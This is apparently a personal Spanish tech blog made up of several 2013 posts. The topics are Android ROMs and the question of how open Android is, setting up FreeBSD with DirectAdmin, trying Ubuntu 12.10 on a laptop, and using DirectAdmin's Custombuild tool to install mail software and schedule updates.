Ya en esa epoca tocaba cambiar de movil, y salio uno que me llamo mucho la atencion, no solo por precio si no porque venia de la mano de HTC y Facebook, el HTC Chachacha. Si, las caracteristicas no son una maravilla, pero, tonto de mi, pense "Al estar metido Facebook se va a vender, ergo, sacaran roms". Pues resulto que no. Al principio no hubo señales ni en cyanogen ni en xda, ya que el movil estaba bloqueado en la mayoria de dispositivos. Eso si, cuando HTC se decidio por desbloquear el bootloader hubo algo mas de movimiento, principalmente gracias a adlx. Con ellas al menos pude jugar un rato e incluso meter Android 4.0 y 4.1 (alphas), pero las roms, pese al esfuerzo que ponen, apenas funcionan. La 2.3.7 tira, mejora mucho la bateria, pero tiene muchos fallitos por ahi que acaban frustrando. Actualmente estoy con la de fabrica que llevan los de yoigo pero modificada para quitar mierdas varias que funciona bien pero me come la bateria en 6 horas.

Con el Nexus 4 espero tener el movil actualizado corrigiendo fallos de seguridad, aunque este si que tiene soporte desde la comunidad, asi que trasteare un rato antes de tener una rom fija. ¿La primera rom que probare? Ubuntu, y si es estable y no drena bateria, muy posiblemente sea la que use de manera estable solo por joder y todos los problemas que me han dado (f*ck u Google). Si no tira Ubuntu todo lo vien que me gustaria, ya vere como me lo monto, pero tratare de dejar de lado a Google en lo que me sea posible. (¿Me quitas Google Reader? Tranquilos que ya se lo que hare con las "novedades" que saqueis... ¿Google now y mierdas varias y de colorines? No gracias. Empece con Google+, no sera lo ultimo que quite).

Bueno, ya pondre como rula el movil si esta vez les sale de los cojones entregarmelo.
¡Saludos!

viernes, 15 de marzo de 2013

Google, Android y castañas variadas

Tras una mañana discutiendo por Twitter con @totemax a raiz de la presentacion del nuevo Samsung Galaxy S4, y tras meterse @homercfm por medio, voy a aclarar un par de puntos acerca de Google y su ecosistema que hay alguno que no se entera.

El primer error que comete la gente, culpa de Google, es asociar Android con algun fabricante, principalmente Samsung. Es cierto que Samsung usa Android en la mayoria de sus terminales, pero tambien usa (o usaa, no se como quedo) Bada, y que sus mayores exitos son bajo Android. Si en vez de haber sido Samsung el que diese el pelotazo hubiese sido HTC, estariamos en las mismas. Android es un sistema operativo "libre" y cada fabricante elige como ponerlo, ocupandose de ADAPTAR ese android a cada dispositivo. Y ahi viene el principal problema que, siguiendo con Samsung, deciden optimizar (discutible) android para usarse en sus buques insignias y pasan de las gamas bajas/medias. Pero como todo es Android, la gente se espera que funcione igual de bien en un lado que en otro. ¿Resultado? Android va fatal, IOS es mejor. Si Google impartiese algo mas de disciplina... Pero claro, ahi ya seria Google el malo porque esto es un sistema libre. ¿Ah, pero que Android es libre?

Ese es otro detalle en el que mucha gente esta equibocada. Android no es del todo libre, ni le compensa a Google que lo sea. ¿Porque si Android es libre desde Rim (Blackberry) han decidido que las aplicaciones que se pueden usar tiemen que ser las de Android 2.3? Se supone que si Android es libre, yo puedo coger el codigo y hacer lo que quiera y pueda con el, como poner una maquina virtual en mi supertelefono para usar apps nativas de Android, y como no soy idiota conociendo la fragmentacion que tiene Android usaria la ultima version directamente o la más reciente que tenga controlada. ¿Entonces porque no usa directamente el codigo de Android 4.0? Es mas reciente aunque no sea la ultima version. Porque Google libera el codigo cuando le sale de las pelotas. Si quieres usar lo ultimo, vamos a pasar por caja. Empezaron con esta politica alla por Android 3.algo y lo siguen manteniendo. Siguiendo el tema de Android libre, otro de los detalles importantes es que no todo lo que lleva dentro Android es libre, sea la versión que sea.

Por un lado, tenemos las aplicaciones de Google, que van preinstaladas pero no son libres. ¿Pasa mucho? La verdad es que no, son sus aplicaciones pueden hacer con ellas lo que quieran y poner las condiciones que quieran para que un teléfono con Android pueda llevarlas. ¿Ah, que no puede llevarlo cualquiera? No, no puedes. Si quieres usar sus aplicaciones en Android, el teléfono tiene que cumplir unas caracteristicas y pasar por caja. Por eso muchos teléfonos chinos con Android no llevan Market y demás, o por ejemplo el porque las roms que se cocinan por ahí no deberían de llevar sus apps de serie (Cyanogen en su momento recibió un C&D por parte de Google por esto mismo, allá por la version 1.5 de Android). Esto es un mal menor, ya que si tiramos de rom instalamos el paquete gaspp y listo. Por otro lado y más importante, tenemos el dema de drivers. Ahí los fabricantes no estan obligados a publicar el código que usa en sus roms ni ofrecer soporte alguno (auqnue hay compañías como Sony que sí ha ayudado y creo haber leido que Samsung va a publicar lo correspondiente de su procesador Exynos) por lo que los cocineros tienen que apañarselas como puedan para poder hacer funcionar su rom en un Android.

Con esto aclarado, que ni Google es Samsung ni Samsung es Android, y que Android no es todo lo libre que gustaría a algunos, lo dejo xD queda muchas, muchas cosas por las que se podria escribir (se puede leer y leer por internee) como el tema de las capas de personalizacion de cada fabricante, y el odiado tema de las actualizaciones, pero paso. Me vuelvo a mi mundo que me necesitan.

sábado, 9 de marzo de 2013

FreeBSD y DirectAdmin: Round 2

Un apunte rápido de esta ida de olla mia de poner una FreeBSD. Cuando lo instale, por desconocimiento, no fijarme y hacerlo sin pensar, hice el particionado guiado sin pensarlo dos veces. El problema es que la mayor parte del espacio del disco se lo asigna a la carpeta /usr (125GB) que es donde la FreeBSD guarda todo, el resto lo divide entre /var (4GB), la raiz (10GB) y la swap (2GB).

¿Y el problema donde esta? En que DirectAdmin mete los usuarios en /home al igual que en Linux y eso dejaria que tendria 10GB tanto para el sistema como para home y el espacion en /usr totalmente desaprovechado. Como ya tenia la maquina en funcionamiento, lo primero que me vino a la cabeza fue redimensionar la particion /usr para quitarle espacio y ponerselo al raiz, peeeeero pese a que veo muchos parecidos de uso entre Linux y FreeBSD (en algun momento hablare de los ports para que entendais porque) no me pensaba arriesgar a cepillarme todo. ¿Cual fue la solucion? La mas sencilla posible, cree una carpeta en /usr/home, movi el contenido de /home eliminandola despues, y cree un enlace simbolico en /home de /usr/home, y tras ajustar los permisos de las carpetas que habia, funciona a la perfeccion. Por otro lado, también tengo que estar pendiente de la particion de /var, ya que ahi se alojan las bases de datos y los logs y los 4gb se pueden quedar cortos. Y si cuando tenga tiempo me acuerdo, deberia securizar la particion de /tmp (antes no la he puesto que no me acordaba) poniendo en noexec o el equivalente en el fstab o equivalente.

En el siguiente round creo que pondre como cargar modulos en el kernel que esten preparados para ello (por ejemplo el firewall, ipfw) e instalar programas de Linux con los ports, que estan casi todos disponibles (gnome, kde o nano asi que puedan resultar mas familiares).

¡Saludos!

viernes, 8 de marzo de 2013

FreeBSD y DirectAdmin: Round 1


Amos a ver, debido a que soy un gañan que no tiene ni idea de FreeBSD,no he creado una particion home que es lo que usa el DA, asumiendo que crearia las cosas en usr ya que es lo que más espacio tiene.

¿Que hacer? Para hacerlo bien, se podría quitar espacio a usr y crear una particion home pero, vaya, que es mucho jaleo. Una idea que he visto y está molona (simple a mas no poder, podría haberlo pensado yo mismo) es hacer en usr una carpeta home, mover todo ahí, eliminar la home original en el root y crear un enlace simbólico. DUH!

Así en resumidas cuentas:
mkdir /usr/home
mv /home/* /usr/home
rmdir /home
ln -s /usr/home /home
Et voilá! Todos los usuarios nuevos se iran a la particion grande. Nota pa mi, tengo que vigilar la carpeta var ya que ahí van las bbdd y los logs y sólo tiene 4GB (bieeeeeen, que listo soy!!).

A ver que tal seguimos en esta aventura de FreeBSD con DirectAdmin, cuando lo tenga todo bien puesto migraré el blog mío (por ahora) a este server. Detalles que he tenido en la instalación:
1. Instalación sencillota, casi más que un Linux. Lo único el tema de las particiones, pero bueno...
2. Tras instalar DA no se creó bien el usuario Admin, por lo que tuve que editar su configuracion en /usr/local/directadmin/data/users/admin ya que al parecer se había creado como usuario en vez de admin.
3. He tenido que recompilar el exim por un error con el perl, pero no entiendo porque, ya que no hice ningún cambio previo a la recompilación.
4. Como mi maquina es una cacona, he tenido que meter una FreeBSD 7.4 ya que es la ultima versión de 32bits que soporta DA.
Con eso apuntado, seguimos la aventura de FreeBSD...

 ¡Saludos!

jueves, 21 de febrero de 2013

Probando Ubuntu 12.10

Esto iba a ser un tweet, pero me he dicho a mi mismo "eh, que tienes un blog, así sumas una entrada más". He estado probando Ubuntu 12.10 en el portátil, así que voy a poner a parir un poco a Ubuntu, pero también es extensible al resto en cierta medida.

Ayer el Windows 7 de mi portátil empezó a hacer cosas raras, ya le tocaba reinstalar y me dije, bueno, vamos a darle una oportunidad a Linux que ya lo hecho en falta. Revisando, revisando, vi que para el portátil lo mejor iba a ser un Ubuntu (o una Mint, pero no la he tocado mucho así que tire por lo conocido). ¿El porqué? Por el kernel de Linux, ya que para que funcione mi portátil medianamente bien, un Asus Zenbook ux31e, necesitaba el kernel 3.5 mínimo. En mi otro equipo tengo una Debian 7 que funciona a las mil maravillas, pero el kernel que tienen es el 3.2.0-4 y la verdad, no me apetece ponerme a recompilar un kernel en estos momentos... si, si, ya se que no es difícil, pero oye, hay que hacerlo.

Desde los foros de Ubuntu vi que tenían una sección dedicada a este portatil y ponian que funcionaba casi todo bien (y es mediocierto). Como siempre, me decidí por la última versión de Ubuntu, pese a no ser LTS ya que me gusta "vivir al límite" con cosas medio testeadas. Tras instalarlo y que por fin pudiese usar en una máquina el unity (hasta ahora no he tenido un equipo que lo soportase, bravo Ubuntu, y nos quejamos de Windows), me dije a mi mismo "¿Y esta mierda que es? Bueno, antes de quitarlo o meterle mano, vamos a hacer que funcione bien el portatil". Así que pongo el bifi, lo conecto a la red y... eso pierde más paquetes que otra cosa. Asi que nada, me dije vamos a buscar que seguro que le ha pasado a gente. ¿Solución? "Oye, mira, es que el kernel 3.5 no tiene aun bien los drivers..." No me jodas, ¿y pa eso pongo Ubuntu? Bueno, vamos a darle otra oportunidad, vamos a ver si alguien es amable y tiene un kernel más nuevo puesto en un deb aunque no sea oficial. Y buscando me tope con la web de www.upubuntu.com que van sacando unos pequeños scripts con los últimos kernels disponibles. Y bingo, instaldo el kernel 3.6.9 todo va mas o menos bien.

Así que una vez resuelto el tema de los drivers y hechas las modificaciones que indican en la web de ubuntu para mejorar un poco la duración de a batería me pongo a cotillear a ver que trae esto. Había leido de antemano que en la versión 12.10 habían metido mierda de Amazon en una cosa que se llaman Lens que no se ni que son, asi que he borrado el lens de amazon y el resto que he visto, total pa usar el Firefox, Filezilla, VLC y qBittotrrent no los necesito. Creo que el ubuntu One ese también lo he borrado, y si no, cuando me acuerde lo borro. Uso Google Drive asi que es repe, pero... anda, que no hay Google Drive para Linux (se supone que hay que decir aún... pero vamos). Así que buscando encontré un programa que se llama Grive que hace lo mismo pero manual, oye, algo es algo.

Volviendo al tema de Unity, intenté ver que dejaba tocar para modificarlo y ponerlo un poco más a mi gusto, ya que no me mola tener ahí la barra en la izquierda todo el rato por más que se empeñen desde Ubuntu que mola. No, no mola. Investigando, vi que por sí sólo no se puede hacer nada, si no te gusta cambia de escritorio. Entiendo que hay varios y mola poder elegir, pero coña, no me apetece poner KDE (me da sarpullido no se porque) y menos Gnome3, así que mis opciones eran o buscar alguna forma de toquetear el Unity o instalar xfce, pero oye, ya que tengo un portátil decente, puedo malgastar recursos con chorradas gráficas. Así que en un último intento, busque formas de modificar el Unity. Básicamente es instalar un programa unsettings que por lo menos me deja ocultar la barrita de los cojones. Y con eso ya soy feliz, sin barra molestando y con Linux en el portátil funcionando bien.

Entiendo que en distros como Debian, que tienen que testear todo hasta tenerlo perfecto o Centos que está orientada a servidores (señores, Fedora ya no es servidores aunque se pueda) se retrasen tanto con las actualizaciones de kernels y demás, aunque deberían mover un poco más el culo, pero Ubuntu, que está destinado a un público más "casual", deberían meter más caña a las actualizaciones para extender la compatibilidad con el hardware (dejarse de gilipolleces, que entre el Unity, los móviles y las tablets se les va mucho). Si la gente de Upubuntu publican los kernels rápido, ¿cómo es que Canonical no?* Si quereis ser una alternativa real de Windows o OSX hay que espabilar, que por mucho wubi que saquéis lo lleváis claro.

Como siempre en Linux, a quien hay que agradecer que las cosas funcionen es a la comunidad que tiene cada distro detrás. Bueno, a seguir que hay cosas que hacer y a ver cuanto aguanto con esto instalado en el portatil :P ¡Saludos!

* NOTA: he actualizado al kernel 3.8 con el script de upubuntu y veo que el kernel se lo descargan directamente desde la web de ubuntu, por lo que imagino que simplemente tardan en liberarlos.

PD: Al final he tenido que reinstalar Windows 7, insufrible el tema del wifi. Por lo que he leido es una mezcla de problemas de drivers y del NetworkManager y paso de complicarme la vida en el portatil... perezote que me da oye :P

sábado, 16 de febrero de 2013

Administración de Directadmin – Custombuild, Instalación de programas

Seguimos con otro post dedicado al Custombuild. Como vimos en el anterior post, dentro de /usr/local/directadmin/custombuild hay un archivo llamado options.conf que podremos editar para seleccionar versiones y programas que queramos instalar. En otro post nos pararemos a ver las secciones de apache, php y msql, ahora nos centraremos en las demás que aunque son menos importantes nos simplificarán la vida si queremos instalar un antivirus por ejemplo.
Veamos la sección de web apps:
#Web applications
phpmyadmin=yes
atmail=no
squirrelmail=yes
roundcube=yes
uebimiau=no
Atmail: Es un cliente web de correos. Da fallos con el php 5.3 que se pueden corregir con un htaccess que haga que no muestre los errores con la linea “php_flag display_errors off”.
Roundcube: Otro cliente web de correos. Funciona sin problemas y estéticamente está muy bien.
Squirrelmail: Más clientes webs de correos, pero este es feucho.
Uebimiau: Otro cliente web de correos, pero ya es un proyecto muerto por lo que no es seguro usarlo.
Para instalarlos/actualizarlos simplemente tendríamos que ponerlos a yes en el options.conf y hacer ./build roundcube o el cliente que sea.
En la sección del correo, nos centraremos en este caso en estas tres líneas:
clamav=no
mailman=no
spamassassin=no
El clamav es un antivirus que analizará los correos buscando bichos, cabe decir que es un proceso pesado y necesita un equipo decente si tienes un volumen considerable de correos diarios, ya que los escanea todos.
Mailman es una mailing list, no la he probado pero ya de por sí directadmin trae otra instalada llamada Majordomo.
El spamassassin es para bloquear spam, directadmin trae ya un bloqueador, pero tienes que poner manualmente los terminos a bloquear. El spamassassin también consume muchos recursos, he visto casos de llegar a bloquear servidores. Por contra el bloqueador de spam que trae de serie el DirectAdmin no consume apenas recursos.
Para instalar el que queramos, es ponerlo a yes en el options.conf y ./build clamav (o el que toque). En el caso del clamav, a instalarlo me falló:
Starting clamd: LibClamAV Error: cli_loaddb(): No supported database files found in /usr/share/clamav
La solución fue ejecutar “freshclam –v” y reiniciar el servicio clamd.
Para instalar el spamassassin primer hay que solucionar unas dependencias:
cpan -i Archive::Tar Digest::SHA Mail::SPF IP::Country Net::Ident IO::Socket::INET6 Compress::Zlib Mail::DKIM LWP::UserAgent HTTP::Date Encode::Detect ExtUtils::MakeMaker NetAddr::IP Mail::SpamAssassin::Plugin::Razor2 Razor2::Client::Agent IO::Socket::SSL DBI
Redhat-based: yum -y install perl-ExtUtils-MakeMaker perl-Digest-SHA perl-Net-DNS perl-NetAddr-IP perl-Archive-Tar perl-IO-Zlib perl-Digest-SHA perl-Mail-SPF perl-IP-Country perl-Razor2 perl-Net-Ident perl-IO-Socket-INET6 perl-IO-Socket-SSL perl-Mail-DKIM perl-DBI perl-Encode-Detect
Debian-based apt-get install perl-base perl-modules
Es posible que pregunte si estamos preparados para la configuración manual, evidentemente… NO. Así se ocupa de casi todo el cpan, solo peridrá confimar algunas cosas (y tarda un buen rato, asi que hay que estar pendientes de la consola). Una vez finalizada la instalación con ./build spamassassin ejecutamos “ps aux | grep spam” para comprobar que todo ha ido bien. Si no aparece nada, miramos en /var/log/maillog en busca de errores.
Y para acabar, podemos instalar también herramientas para estadisticas web. Tenemos awstat y webalizer. Lo mismo, editamos el options.conf y ./build webalizer.
Con esto, sólo nos falta revisar las partes de apache, php y mysql que tienen bastante importancia a la hora de actualizar de versiones.
¡Saludos!

viernes, 8 de febrero de 2013

Administración de Directadmin - Custombuild, actualizacion de paquetes.

Hoy vamos a meternos un poco en la administración de un servidor que corre DirectAdmin. Desde el propio panel nos ofrece bastantes opciones, editar DNS, creación de usuarios, etc... Pero una parte importante, actualizar el sistema, hay que hacerlo desde consola usando una herramienta llamada Custombuild. Pensemos en esa herramienta como una especie de repositorio que contiene los programas principales del servidor web como son el exim (correo), apache y php (web) y mysql (bases de datos). La ventaja de usar el Custombuild en vez de los repositorios de nuestra distro, a parte de ser obligartorio, es que en vez de bajar un paquete e instalarlo, nos descarga los binarios y lo recompila (excepto del mysql, que si usa paquete). Por eso, podremos cargar cualquier módulo que necesitemos y tener nuestro programa con lo necesario. Por norma general, si tenemos hecha ya una instalación previa, no tendremos problemas de dependencias (aunque a veces surgen, pero se suele solucionar instalando esa dependencia desde el repositorio).

En este post, vamos a ver como teniendo un sistema instalado podemos actualizar nuestro sistema con los últimos parches de seguridad que hay. Por norma general, no hace cambios de versiones que conlleven cambios drásticos (pasar de php 5.2 a 5.3, por ejemplo) por lo que no deberíamos tener problemas una vez actualizado. Es script de custombuild se encuentra en /usr/local/directadmin/custombuild y se llama build. Si ejecutamos el script sin ningún comando, nos mostrará todas las opciones disponibles que no son pocas.
# cd /usr/local/directadmin/custombuild
# ./build
En este caso para actualizar el sistema, tendíamos que hacer;
# ./build update
# ./build versions
(Para ver como de desactualizamos vamos).
# ./buld update_versions
A partir de aquí empezará a recompilar todo sin apenas molestar (puede que pida alguna confirmación, depende de como ande de desactualizado el sistema). Una vez acabado, ya tendremos todo al día. Otra opción importante que tiene, es crear un cron para actualizar el sistema. Puede actualizar automaticamente el panel (da_autoupdate), las aplicaciones web (squirrelmail, roundcube, phpmyadmin, etc) (webapps_updates) y/o todo el sistema (updates). También se puede poner para que sólo nos avise de que existen actualizaciones (notifications), eso ya depende de cada uno. Para programar el cron, simplemente tenemos que editar el archivo options.conf y dejarlo así:

#Cron settings
cron=yes
cron_frequency=daily
[email protected]
notifications=yes
da_autoupdate=yes
updates=yes
webapps_updates=yes
Como vemos, las opciones que da son autoexplicativas. Evidentemente si queremos que nos avise al correo, tendremos que poner una cuenta válida. Una vez configurado, faltaría activarlo:
./build cron
Y listo. Comprobará diariamente si existen actualizaciones y las aplicará. Al ser parches de seguridad no deben introducir cambios que hagan que te dejen de funcionar las webs, pero podría pasar. Esto ya depende de lo que prefiera cada uno, pero como somos así, es cuando actualizamos que descubrimos que esa version no funciona con nuestra web. Yo por mi parte prefiero que actualice sólo ya que si no,
se me acaba pasando las actualizaciones.

Otro detalle importante del cron es que sólo nos va a actualizar aquellos programas que tengamos marcados en el options.conf, es decir, si tenemos "mysql_inst=no" no actualizará el php, lo mismo para otros como el dovecot o el exim. Revisad el archivo y decidir qué aplicaciones quereis que se actualicen y cuales no. Por otro lado, cuando actualizamos un programa con el custombuild, hay que tener cuidado de si hemos añadido algún módulo a la compilación anteriormente, ya que si no lo hemos metido en la carpeta custom nos cogerá la configuración predeterminada. Por ejemplo para el php en este enlace de la FAQ de DirectAdmin lo explican bien, aunque más adelante pondré cómo recompilar el php con algunos módulos útiles.

Con esto y con las actualizaciones del sistema con los repositorios de la distro, tendremos el sistema actualizado y parcheado para solucionar problemas de seguridad.